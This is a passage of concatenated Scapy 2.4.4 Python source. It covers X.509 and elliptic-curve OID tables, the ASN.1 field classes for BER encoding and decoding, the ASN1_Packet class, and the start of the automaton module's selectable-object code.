"ipsecTunnel", "1.3.6.1.5.5.7.3.7": "ipsecUser", "1.3.6.1.5.5.7.3.8": "timeStamping", "1.3.6.1.5.5.7.3.9": "ocspSigning", "1.3.6.1.5.5.7.3.10": "dvcs", "1.3.6.1.5.5.7.3.21": "secureShellClient", "1.3.6.1.5.5.7.3.22": "secureShellServer" } certPkixAd_oids = { "1.3.6.1.5.5.7.48.1": "ocsp", "1.3.6.1.5.5.7.48.2": "caIssuers", "1.3.6.1.5.5.7.48.3": "timestamping", "1.3.6.1.5.5.7.48.4": "id-ad-dvcs", "1.3.6.1.5.5.7.48.5": "id-ad-caRepository", "1.3.6.1.5.5.7.48.6": "id-pkix-ocsp-archive-cutoff", "1.3.6.1.5.5.7.48.7": "id-pkix-ocsp-service-locator", "1.3.6.1.5.5.7.48.12": "id-ad-cmc", "1.3.6.1.5.5.7.48.1.1": "basic-response" } # ansi-x962 # x962KeyType_oids = { "1.2.840.10045.1.1": "prime-field", "1.2.840.10045.1.2": "characteristic-two-field", "1.2.840.10045.2.1": "ecPublicKey", } x962Signature_oids = { "1.2.840.10045.4.1": "ecdsa-with-SHA1", "1.2.840.10045.4.2": "ecdsa-with-Recommended", "1.2.840.10045.4.3.1": "ecdsa-with-SHA224", "1.2.840.10045.4.3.2": "ecdsa-with-SHA256", "1.2.840.10045.4.3.3": "ecdsa-with-SHA384", "1.2.840.10045.4.3.4": "ecdsa-with-SHA512" } # elliptic curves # ansiX962Curve_oids = { "1.2.840.10045.3.1.1": "prime192v1", "1.2.840.10045.3.1.2": "prime192v2", "1.2.840.10045.3.1.3": "prime192v3", "1.2.840.10045.3.1.4": "prime239v1", "1.2.840.10045.3.1.5": "prime239v2", "1.2.840.10045.3.1.6": "prime239v3", "1.2.840.10045.3.1.7": "prime256v1" } certicomCurve_oids = { "1.3.132.0.1": "ansit163k1", "1.3.132.0.2": "ansit163r1", "1.3.132.0.3": "ansit239k1", "1.3.132.0.4": "sect113r1", "1.3.132.0.5": "sect113r2", "1.3.132.0.6": "secp112r1", "1.3.132.0.7": "secp112r2", "1.3.132.0.8": "ansip160r1", "1.3.132.0.9": "ansip160k1", "1.3.132.0.10": "ansip256k1", "1.3.132.0.15": "ansit163r2", "1.3.132.0.16": "ansit283k1", "1.3.132.0.17": "ansit283r1", "1.3.132.0.22": "sect131r1", "1.3.132.0.24": "ansit193r1", "1.3.132.0.25": "ansit193r2", "1.3.132.0.26": "ansit233k1", "1.3.132.0.27": "ansit233r1", "1.3.132.0.28": "secp128r1", "1.3.132.0.29": "secp128r2", "1.3.132.0.30": "ansip160r2", "1.3.132.0.31": "ansip192k1", "1.3.132.0.32": "ansip224k1", "1.3.132.0.33": "ansip224r1", "1.3.132.0.34": "ansip384r1", "1.3.132.0.35": "ansip521r1", "1.3.132.0.36": "ansit409k1", "1.3.132.0.37": "ansit409r1", "1.3.132.0.38": "ansit571k1", "1.3.132.0.39": "ansit571r1" } # policies # certPolicy_oids = { "2.5.29.32.0": "anyPolicy" } # from Chromium source code (ev_root_ca_metadata.cc) evPolicy_oids = { '1.2.392.200091.100.721.1': 'EV Security Communication RootCA1', '1.2.616.1.113527.2.5.1.1': 'EV Certum Trusted Network CA', '1.3.159.1.17.1': 'EV Actualis Authentication Root CA', '1.3.6.1.4.1.13177.10.1.3.10': 'EV Autoridad de Certificacion Firmaprofesional CIF A62634068', # noqa: E501 '1.3.6.1.4.1.14370.1.6': 'EV GeoTrust Primary Certification Authority', '1.3.6.1.4.1.14777.6.1.1': 'EV Izenpe.com roots Business', '1.3.6.1.4.1.14777.6.1.2': 'EV Izenpe.com roots Government', '1.3.6.1.4.1.17326.10.14.2.1.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', # noqa: E501 '1.3.6.1.4.1.17326.10.14.2.2.2': 'EV AC Camerfirma S.A. Chambers of Commerce Root - 2008', # noqa: E501 '1.3.6.1.4.1.17326.10.8.12.1.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', # noqa: E501 '1.3.6.1.4.1.17326.10.8.12.2.2': 'EV AC Camerfirma S.A. Global Chambersign Root - 2008', # noqa: E501 '1.3.6.1.4.1.22234.2.5.2.3.1': 'EV CertPlus Class 2 Primary CA (KEYNECTIS)', # noqa: E501 '1.3.6.1.4.1.23223.1.1.1': 'EV StartCom Certification Authority', '1.3.6.1.4.1.29836.1.10': 'EV China Internet Network Information Center EV Certificates Root', # noqa: E501 '1.3.6.1.4.1.311.60.2.1.1': 'jurisdictionOfIncorporationLocalityName', '1.3.6.1.4.1.311.60.2.1.2': 'jurisdictionOfIncorporationStateOrProvinceName', # noqa: E501 '1.3.6.1.4.1.311.60.2.1.3': 'jurisdictionOfIncorporationCountryName', '1.3.6.1.4.1.34697.2.1': 'EV AffirmTrust Commercial', '1.3.6.1.4.1.34697.2.2': 'EV AffirmTrust Networking', '1.3.6.1.4.1.34697.2.3': 'EV AffirmTrust Premium', '1.3.6.1.4.1.34697.2.4': 'EV AffirmTrust Premium ECC', '1.3.6.1.4.1.36305.2': 'EV Certificate Authority of WoSign', '1.3.6.1.4.1.40869.1.1.22.3': 'EV TWCA Roots', '1.3.6.1.4.1.4146.1.1': 'EV GlobalSign Root CAs', '1.3.6.1.4.1.4788.2.202.1': 'EV D-TRUST Root Class 3 CA 2 EV 2009', '1.3.6.1.4.1.6334.1.100.1': 'EV Cybertrust Global Root', '1.3.6.1.4.1.6449.1.2.1.5.1': 'EV USERTrust Certification Authorities', '1.3.6.1.4.1.781.1.2.1.8.1': 'EV Network Solutions Certificate Authority', '1.3.6.1.4.1.782.1.2.1.8.1': 'EV AddTrust External CA Root', '1.3.6.1.4.1.7879.13.24.1': 'EV T-Telessec GlobalRoot Class 3', '1.3.6.1.4.1.8024.0.2.100.1.2': 'EV QuoVadis Roots', '2.16.528.1.1003.1.2.7': 'EV Staat der Nederlanden EV Root CA', '2.16.578.1.26.1.3.3': 'EV Buypass Class 3', '2.16.756.1.83.21.0': 'EV Swisscom Root EV CA 2', '2.16.756.1.89.1.2.1.1': 'EV SwissSign Gold CA - G2', '2.16.792.3.0.4.1.1.4': 'EV E-Tugra Certification Authority', '2.16.840.1.113733.1.7.23.6': 'EV VeriSign Certification Authorities', '2.16.840.1.113733.1.7.48.1': 'EV thawte CAs', '2.16.840.1.114028.10.1.2': 'EV Entrust Certification Authority', '2.16.840.1.114171.500.9': 'EV Wells Fargo WellsSecure Public Root Certification Authority', # noqa: E501 '2.16.840.1.114404.1.1.2.4.1': 'EV XRamp Global Certification Authority', '2.16.840.1.114412.2.1': 'EV DigiCert High Assurance EV Root CA', '2.16.840.1.114413.1.7.23.3': 'EV ValiCert Class 2 Policy Validation Authority', # noqa: E501 '2.16.840.1.114414.1.7.23.3': 'EV Starfield Certificate Authority', '2.16.840.1.114414.1.7.24.3': 'EV Starfield Service Certificate Authority' # noqa: E501 } x509_oids_sets = [ pkcs1_oids, secsig_oids, pkcs9_oids, attributeType_oids, certificateExtension_oids, certExt_oids, certPkixPe_oids, certPkixQt_oids, certPkixKp_oids, certPkixAd_oids, certPolicy_oids, evPolicy_oids, x962KeyType_oids, x962Signature_oids, ansiX962Curve_oids, certicomCurve_oids ] x509_oids = {} for oids_set in x509_oids_sets: x509_oids.update(oids_set) conf.mib = MIBDict(_name="MIB", **x509_oids) ######################### # Hash mapping helper # ######################### # This dict enables static access to string references to the hash functions # of some algorithms from pkcs1_oids and x962Signature_oids. hash_by_oid = { "1.2.840.113549.1.1.2": "md2", "1.2.840.113549.1.1.3": "md4", "1.2.840.113549.1.1.4": "md5", "1.2.840.113549.1.1.5": "sha1", "1.2.840.113549.1.1.11": "sha256", "1.2.840.113549.1.1.12": "sha384", "1.2.840.113549.1.1.13": "sha512", "1.2.840.113549.1.1.14": "sha224", "1.2.840.10045.4.1": "sha1", "1.2.840.10045.4.3.1": "sha224", "1.2.840.10045.4.3.2": "sha256", "1.2.840.10045.4.3.3": "sha384", "1.2.840.10045.4.3.4": "sha512" } scapy-2.4.4/scapy/asn1fields.py000066400000000000000000000545361372370053500164040ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Enhanced by Maxence Tury # This program is published under a GPLv2 license """ Classes that implement ASN.1 data structures. """ from __future__ import absolute_import from scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_NULL, ASN1_Error, \ ASN1_Object, ASN1_INTEGER from scapy.asn1.ber import BER_tagging_dec, BER_Decoding_Error, BER_id_dec, \ BER_tagging_enc from scapy.volatile import RandInt, RandChoice, RandNum, RandString, RandOID, \ GeneralizedTime from scapy.compat import orb, raw from scapy.base_classes import BasePacket from scapy.utils import binrepr from scapy import packet from functools import reduce import scapy.modules.six as six from scapy.modules.six.moves import range class ASN1F_badsequence(Exception): pass class ASN1F_element(object): pass ########################## # Basic ASN1 Field # ########################## class ASN1F_field(ASN1F_element): holds_packets = 0 islist = 0 ASN1_tag = ASN1_Class_UNIVERSAL.ANY context = ASN1_Class_UNIVERSAL def __init__(self, name, default, context=None, implicit_tag=None, explicit_tag=None, flexible_tag=False): self.context = context self.name = name if default is None: self.default = None elif isinstance(default, ASN1_NULL): self.default = default else: self.default = self.ASN1_tag.asn1_object(default) self.flexible_tag = flexible_tag if (implicit_tag is not None) and (explicit_tag is not None): err_msg = "field cannot be both implicitly and explicitly tagged" raise ASN1_Error(err_msg) self.implicit_tag = implicit_tag self.explicit_tag = explicit_tag # network_tag gets useful for ASN1F_CHOICE self.network_tag = implicit_tag or explicit_tag or self.ASN1_tag def i2repr(self, pkt, x): return repr(x) def i2h(self, pkt, x): return x def any2i(self, pkt, x): return x def m2i(self, pkt, s): """ The good thing about safedec is that it may still decode ASN1 even if there is a mismatch between the expected tag (self.ASN1_tag) and the actual tag; the decoded ASN1 object will simply be put into an ASN1_BADTAG object. However, safedec prevents the raising of exceptions needed for ASN1F_optional processing. Thus we use 'flexible_tag', which should be False with ASN1F_optional. Regarding other fields, we might need to know whether encoding went as expected or not. Noticeably, input methods from cert.py expect certain exceptions to be raised. Hence default flexible_tag is False. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: # this implies that flexible_tag was True if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) if self.flexible_tag: return codec.safedec(s, context=self.context) else: return codec.dec(s, context=self.context) def i2m(self, pkt, x): if x is None: return b"" if isinstance(x, ASN1_Object): if (self.ASN1_tag == ASN1_Class_UNIVERSAL.ANY or x.tag == ASN1_Class_UNIVERSAL.RAW or x.tag == ASN1_Class_UNIVERSAL.ERROR or self.ASN1_tag == x.tag): s = x.enc(pkt.ASN1_codec) else: raise ASN1_Error("Encoding Error: got %r instead of an %r for field [%s]" % (x, self.ASN1_tag, self.name)) # noqa: E501 else: s = self.ASN1_tag.get_codec(pkt.ASN1_codec).enc(x) return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) def extract_packet(self, cls, s): if len(s) > 0: try: c = cls(s) except ASN1F_badsequence: c = packet.Raw(s) cpad = c.getlayer(packet.Raw) s = b"" if cpad is not None: s = cpad.load del(cpad.underlayer.payload) return c, s else: return None, s def build(self, pkt): return self.i2m(pkt, getattr(pkt, self.name)) def dissect(self, pkt, s): v, s = self.m2i(pkt, s) self.set_val(pkt, v) return s def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if isinstance(x, list): x = x[:] for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def set_val(self, pkt, val): setattr(pkt, self.name, val) def is_empty(self, pkt): return getattr(pkt, self.name) is None def get_fields_list(self): return [self] def __str__(self): return repr(self) def randval(self): return RandInt() ############################ # Simple ASN1 Fields # ############################ class ASN1F_BOOLEAN(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.BOOLEAN def randval(self): return RandChoice(True, False) class ASN1F_INTEGER(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.INTEGER def randval(self): return RandNum(-2**64, 2**64 - 1) class ASN1F_enum_INTEGER(ASN1F_INTEGER): def __init__(self, name, default, enum, context=None, implicit_tag=None, explicit_tag=None): ASN1F_INTEGER.__init__(self, name, default, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) i2s = self.i2s = {} s2i = self.s2i = {} if isinstance(enum, list): keys = range(len(enum)) else: keys = list(enum) if any(isinstance(x, six.string_types) for x in keys): i2s, s2i = s2i, i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k def i2m(self, pkt, s): if isinstance(s, str): s = self.s2i.get(s) return super(ASN1F_enum_INTEGER, self).i2m(pkt, s) def i2repr(self, pkt, x): if x is not None and isinstance(x, ASN1_INTEGER): r = self.i2s.get(x.val) if r: return "'%s' %s" % (r, repr(x)) return repr(x) class ASN1F_BIT_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.BIT_STRING def __init__(self, name, default, default_readable=True, context=None, implicit_tag=None, explicit_tag=None): if default is not None and default_readable: default = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in default) # noqa: E501 ASN1F_field.__init__(self, name, default, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_STRING(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.STRING def randval(self): return RandString(RandNum(0, 1000)) class ASN1F_NULL(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.NULL class ASN1F_OID(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.OID def randval(self): return RandOID() class ASN1F_ENUMERATED(ASN1F_enum_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.ENUMERATED class ASN1F_UTF8_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTF8_STRING class ASN1F_NUMERIC_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING class ASN1F_PRINTABLE_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING class ASN1F_T61_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.T61_STRING class ASN1F_VIDEOTEX_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING class ASN1F_IA5_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IA5_STRING class ASN1F_UTC_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UTC_TIME def randval(self): return GeneralizedTime() class ASN1F_GENERALIZED_TIME(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME def randval(self): return GeneralizedTime() class ASN1F_ISO646_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.ISO646_STRING class ASN1F_UNIVERSAL_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING class ASN1F_BMP_STRING(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.BMP_STRING class ASN1F_SEQUENCE(ASN1F_field): # Here is how you could decode a SEQUENCE # with an unknown, private high-tag prefix : # class PrivSeq(ASN1_Packet): # ASN1_codec = ASN1_Codecs.BER # ASN1_root = ASN1F_SEQUENCE( # , # ... # , # explicit_tag=0, # flexible_tag=True) # Because we use flexible_tag, the value of the explicit_tag does not matter. # noqa: E501 ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE holds_packets = 1 def __init__(self, *seq, **kwargs): name = "dummy_seq_name" default = [field.default for field in seq] for kwarg in ["context", "implicit_tag", "explicit_tag", "flexible_tag"]: setattr(self, kwarg, kwargs.get(kwarg)) ASN1F_field.__init__(self, name, default, context=self.context, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, flexible_tag=self.flexible_tag) self.seq = seq self.islist = len(seq) > 1 def __repr__(self): return "<%s%r>" % (self.__class__.__name__, self.seq) def is_empty(self, pkt): return all(f.is_empty(pkt) for f in self.seq) def get_fields_list(self): return reduce(lambda x, y: x + y.get_fields_list(), self.seq, []) def m2i(self, pkt, s): """ ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being dissected one by one. Because we use obj.dissect (see loop below) instead of obj.m2i (as we trust dissect to do the appropriate set_vals) we do not directly retrieve the list of nested objects. Thus m2i returns an empty list (along with the proper remainder). It is discarded by dissect() and should not be missed elsewhere. """ diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i, s, remain = codec.check_type_check_len(s) if len(s) == 0: for obj in self.seq: obj.set_val(pkt, None) else: for obj in self.seq: try: s = obj.dissect(pkt, s) except ASN1F_badsequence: break if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return [], remain def dissect(self, pkt, s): _, x = self.m2i(pkt, s) return x def build(self, pkt): s = reduce(lambda x, y: x + y.build(pkt), self.seq, b"") return self.i2m(pkt, s) class ASN1F_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_SEQUENCE_OF(ASN1F_field): ASN1_tag = ASN1_Class_UNIVERSAL.SEQUENCE holds_packets = 1 islist = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_field.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) # noqa: E501 self.default = default def is_empty(self, pkt): return ASN1F_field.is_empty(self, pkt) def m2i(self, pkt, s): diff_tag, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag codec = self.ASN1_tag.get_codec(pkt.ASN1_codec) i, s, remain = codec.check_type_check_len(s) lst = [] while s: c, s = self.extract_packet(self.cls, s) lst.append(c) if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return lst, remain def build(self, pkt): val = getattr(pkt, self.name) if isinstance(val, ASN1_Object) and val.tag == ASN1_Class_UNIVERSAL.RAW: # noqa: E501 s = val elif val is None: s = b"" else: s = b"".join(raw(i) for i in val) return self.i2m(pkt, s) def randval(self): return packet.fuzz(self.cls()) def __repr__(self): return "<%s %s>" % (self.__class__.__name__, self.name) class ASN1F_SET_OF(ASN1F_SEQUENCE_OF): ASN1_tag = ASN1_Class_UNIVERSAL.SET class ASN1F_IPADDRESS(ASN1F_STRING): ASN1_tag = ASN1_Class_UNIVERSAL.IPADDRESS class ASN1F_TIME_TICKS(ASN1F_INTEGER): ASN1_tag = ASN1_Class_UNIVERSAL.TIME_TICKS ############################# # Complex ASN1 Fields # ############################# class ASN1F_optional(ASN1F_element): def __init__(self, field): field.flexible_tag = False self._field = field def __getattr__(self, attr): return getattr(self._field, attr) def m2i(self, pkt, s): try: return self._field.m2i(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): # ASN1_Error may be raised by ASN1F_CHOICE return None, s def dissect(self, pkt, s): try: return self._field.dissect(pkt, s) except (ASN1_Error, ASN1F_badsequence, BER_Decoding_Error): self._field.set_val(pkt, None) return s def build(self, pkt): if self._field.is_empty(pkt): return b"" return self._field.build(pkt) def any2i(self, pkt, x): return self._field.any2i(pkt, x) def i2repr(self, pkt, x): return self._field.i2repr(pkt, x) class ASN1F_CHOICE(ASN1F_field): """ Multiple types are allowed: ASN1_Packet, ASN1F_field and ASN1F_PACKET(), See layers/x509.py for examples. Other ASN1F_field instances than ASN1F_PACKET instances must not be used. """ holds_packets = 1 ASN1_tag = ASN1_Class_UNIVERSAL.ANY def __init__(self, name, default, *args, **kwargs): if "implicit_tag" in kwargs: err_msg = "ASN1F_CHOICE has been called with an implicit_tag" raise ASN1_Error(err_msg) self.implicit_tag = None for kwarg in ["context", "explicit_tag"]: setattr(self, kwarg, kwargs.get(kwarg)) ASN1F_field.__init__(self, name, None, context=self.context, explicit_tag=self.explicit_tag) self.default = default self.current_choice = None self.choices = {} self.pktchoices = {} for p in args: if hasattr(p, "ASN1_root"): # should be ASN1_Packet if hasattr(p.ASN1_root, "choices"): for k, v in six.iteritems(p.ASN1_root.choices): self.choices[k] = v # ASN1F_CHOICE recursion else: self.choices[p.ASN1_root.network_tag] = p elif hasattr(p, "ASN1_tag"): if isinstance(p, type): # should be ASN1F_field class self.choices[p.ASN1_tag] = p else: # should be ASN1F_PACKET instance self.choices[p.network_tag] = p self.pktchoices[hash(p.cls)] = (p.implicit_tag, p.explicit_tag) # noqa: E501 else: raise ASN1_Error("ASN1F_CHOICE: no tag found for one field") def m2i(self, pkt, s): """ First we have to retrieve the appropriate choice. Then we extract the field/packet, according to this choice. """ if len(s) == 0: raise ASN1_Error("ASN1F_CHOICE: got empty string") _, s = BER_tagging_dec(s, hidden_tag=self.ASN1_tag, explicit_tag=self.explicit_tag) tag, _ = BER_id_dec(s) if tag not in self.choices: if self.flexible_tag: choice = ASN1F_field else: raise ASN1_Error("ASN1F_CHOICE: unexpected field") else: choice = self.choices[tag] if hasattr(choice, "ASN1_root"): # we don't want to import ASN1_Packet in this module... return self.extract_packet(choice, s) elif isinstance(choice, type): return choice(self.name, b"").m2i(pkt, s) else: # XXX check properly if this is an ASN1F_PACKET return choice.m2i(pkt, s) def i2m(self, pkt, x): if x is None: s = b"" else: s = raw(x) if hash(type(x)) in self.pktchoices: imp, exp = self.pktchoices[hash(type(x))] s = BER_tagging_enc(s, implicit_tag=imp, explicit_tag=exp) return BER_tagging_enc(s, explicit_tag=self.explicit_tag) def randval(self): randchoices = [] for p in six.itervalues(self.choices): if hasattr(p, "ASN1_root"): # should be ASN1_Packet class randchoices.append(packet.fuzz(p())) elif hasattr(p, "ASN1_tag"): if isinstance(p, type): # should be (basic) ASN1F_field class # noqa: E501 randchoices.append(p("dummy", None).randval()) else: # should be ASN1F_PACKET instance randchoices.append(p.randval()) return RandChoice(*randchoices) class ASN1F_PACKET(ASN1F_field): holds_packets = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_field.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) # noqa: E501 if cls.ASN1_root.ASN1_tag == ASN1_Class_UNIVERSAL.SEQUENCE: if implicit_tag is None and explicit_tag is None: self.network_tag = 16 | 0x20 self.default = default def m2i(self, pkt, s): diff_tag, s = BER_tagging_dec(s, hidden_tag=self.cls.ASN1_root.ASN1_tag, # noqa: E501 implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag, safe=self.flexible_tag) if diff_tag is not None: if self.implicit_tag is not None: self.implicit_tag = diff_tag elif self.explicit_tag is not None: self.explicit_tag = diff_tag p, s = self.extract_packet(self.cls, s) return p, s def i2m(self, pkt, x): if x is None: s = b"" else: s = raw(x) return BER_tagging_enc(s, implicit_tag=self.implicit_tag, explicit_tag=self.explicit_tag) def randval(self): return packet.fuzz(self.cls()) class ASN1F_BIT_STRING_ENCAPS(ASN1F_BIT_STRING): """ We may emulate simple string encapsulation with explicit_tag=0x04, but we need a specific class for bit strings because of unused bits, etc. """ holds_packets = 1 def __init__(self, name, default, cls, context=None, implicit_tag=None, explicit_tag=None): self.cls = cls ASN1F_BIT_STRING.__init__(self, name, None, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) self.default = default def m2i(self, pkt, s): bit_string, remain = ASN1F_BIT_STRING.m2i(self, pkt, s) if len(bit_string.val) % 8 != 0: raise BER_Decoding_Error("wrong bit string", remaining=s) p, s = self.extract_packet(self.cls, bit_string.val_readable) if len(s) > 0: raise BER_Decoding_Error("unexpected remainder", remaining=s) return p, remain def i2m(self, pkt, x): s = b"" if x is None else raw(x) s = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in s) return ASN1F_BIT_STRING.i2m(self, pkt, s) class ASN1F_FLAGS(ASN1F_BIT_STRING): def __init__(self, name, default, mapping, context=None, implicit_tag=None, explicit_tag=None): self.mapping = mapping ASN1F_BIT_STRING.__init__(self, name, default, default_readable=False, context=context, implicit_tag=implicit_tag, explicit_tag=explicit_tag) def get_flags(self, pkt): fbytes = getattr(pkt, self.name).val return [self.mapping[i] for i, positional in enumerate(fbytes) if positional == '1' and i < len(self.mapping)] def i2repr(self, pkt, x): if x is not None: pretty_s = ", ".join(self.get_flags(pkt)) return pretty_s + " " + repr(x) return repr(x) scapy-2.4.4/scapy/asn1packet.py000066400000000000000000000020301372370053500163630ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ ASN.1 Packet Packet holding data in Abstract Syntax Notation (ASN.1). """ from __future__ import absolute_import from scapy.base_classes import Packet_metaclass from scapy.packet import Packet import scapy.modules.six as six class ASN1Packet_metaclass(Packet_metaclass): def __new__(cls, name, bases, dct): if dct["ASN1_root"] is not None: dct["fields_desc"] = dct["ASN1_root"].get_fields_list() return super(ASN1Packet_metaclass, cls).__new__(cls, name, bases, dct) class ASN1_Packet(six.with_metaclass(ASN1Packet_metaclass, Packet)): ASN1_root = None ASN1_codec = None def self_build(self): if self.raw_packet_cache is not None: return self.raw_packet_cache return self.ASN1_root.build(self) def do_dissect(self, x): return self.ASN1_root.dissect(self, x) scapy-2.4.4/scapy/automaton.py000066400000000000000000001162161372370053500163540ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Automata with states, transitions and actions. """ from __future__ import absolute_import import types import itertools import time import os import sys import traceback from select import select from collections import deque import threading from scapy.config import conf from scapy.utils import do_graph from scapy.error import log_runtime, warning from scapy.plist import PacketList from scapy.data import MTU from scapy.supersocket import SuperSocket from scapy.consts import WINDOWS import scapy.modules.six as six """ In Windows, select.select is not available for custom objects. Here's the implementation of scapy to re-create this functionality # noqa: E501 # Passive way: using no-ressources locks +---------+ +---------------+ +-------------------------+ # noqa: E501 | Start +------------->Select_objects +----->+Linux: call select.select| # noqa: E501 +---------+ |(select.select)| +-------------------------+ # noqa: E501 +-------+-------+ | +----v----+ +--------+ | Windows | |Time Out+----------------------------------+ # noqa: E501 +----+----+ +----+---+ | # noqa: E501 | ^ | # noqa: E501 Event | | | # noqa: E501 + | | | # noqa: E501 | +-------v-------+ | | # noqa: E501 | +------+Selectable Sel.+-----+-----------------+-----------+ | # noqa: E501 | | +-------+-------+ | | | v +-----v-----+ # noqa: E501 +-------v----------+ | | | | | Passive lock<-----+release_all<------+ # noqa: E501 |Data added to list| +----v-----+ +-----v-----+ +----v-----+ v v + +-----------+ | # noqa: E501 +--------+---------+ |Selectable| |Selectable | |Selectable| ............ | | # noqa: E501 | +----+-----+ +-----------+ +----------+ | | # noqa: E501 | v | | # noqa: E501 v +----+------+ +------------------+ +-------------v-------------------+ | # noqa: E501 +-----+------+ |wait_return+-->+ check_recv: | | | | # noqa: E501 |call_release| +----+------+ |If data is in list| | END state: selectable returned | +---+--------+ # noqa: E501 +-----+-------- v +-------+----------+ | | | exit door | # noqa: E501 | else | +---------------------------------+ +---+--------+ # noqa: E501 | + | | # noqa: E501 | +----v-------+ | | # noqa: E501 +--------->free -->Passive lock| | | # noqa: E501 +----+-------+ | | # noqa: E501 | | | # noqa: E501 | v | # noqa: E501 +------------------Selectable-Selector-is-advertised-that-the-selectable-is-readable---------+ """ class SelectableObject(object): """DEV: to implement one of those, you need to add 2 things to your object: - add "check_recv" function - call "self.call_release" once you are ready to be read You can set the __selectable_force_select__ to True in the class, if you want to # noqa: E501 force the handler to use fileno(). This may only be usable on sockets created using # noqa: E501 the builtin socket API.""" __selectable_force_select__ = False def __init__(self): self.hooks = [] def check_recv(self): """DEV: will be called only once (at beginning) to check if the object is ready.""" # noqa: E501 raise OSError("This method must be overwritten.") def _wait_non_ressources(self, callback): """This get started as a thread, and waits for the data lock to be freed then advertise itself to the SelectableSelector using the callback""" # noqa: E501 self.trigger = threading.Lock() self.was_ended = False self.trigger.acquire() self.trigger.acquire() if not self.was_ended: callback(self) def wait_return(self, callback): """Entry point of SelectableObject: register the callback""" if self.check_recv(): return callback(self) _t = threading.Thread(target=self._wait_non_ressources, args=(callback,)) # noqa: E501 _t.setDaemon(True) _t.start() def register_hook(self, hook): """DEV: When call_release() will be called, the hook will also""" self.hooks.append(hook) def call_release(self, arborted=False): """DEV: Must be call when the object becomes ready to read. Relesases the lock of _wait_non_ressources""" self.was_ended = arborted try: self.trigger.release() except (threading.ThreadError, AttributeError): pass # Trigger hooks for hook in self.hooks: hook() class SelectableSelector(object): """ Select SelectableObject objects. inputs: objects to process remain: timeout. If 0, return []. customTypes: types of the objects that have the check_recv function. """ def _release_all(self): """Releases all locks to kill all threads""" for i in self.inputs: i.call_release(True) self.available_lock.release() def _timeout_thread(self, remain): """Timeout before releasing every thing, if nothing was returned""" time.sleep(remain) if not self._ended: self._ended = True self._release_all() def _exit_door(self, _input): """This function is passed to each SelectableObject as a callback The SelectableObjects have to call it once there are ready""" self.results.append(_input) if self._ended: return self._ended = True self._release_all() def __init__(self, inputs, remain): self.results = [] self.inputs 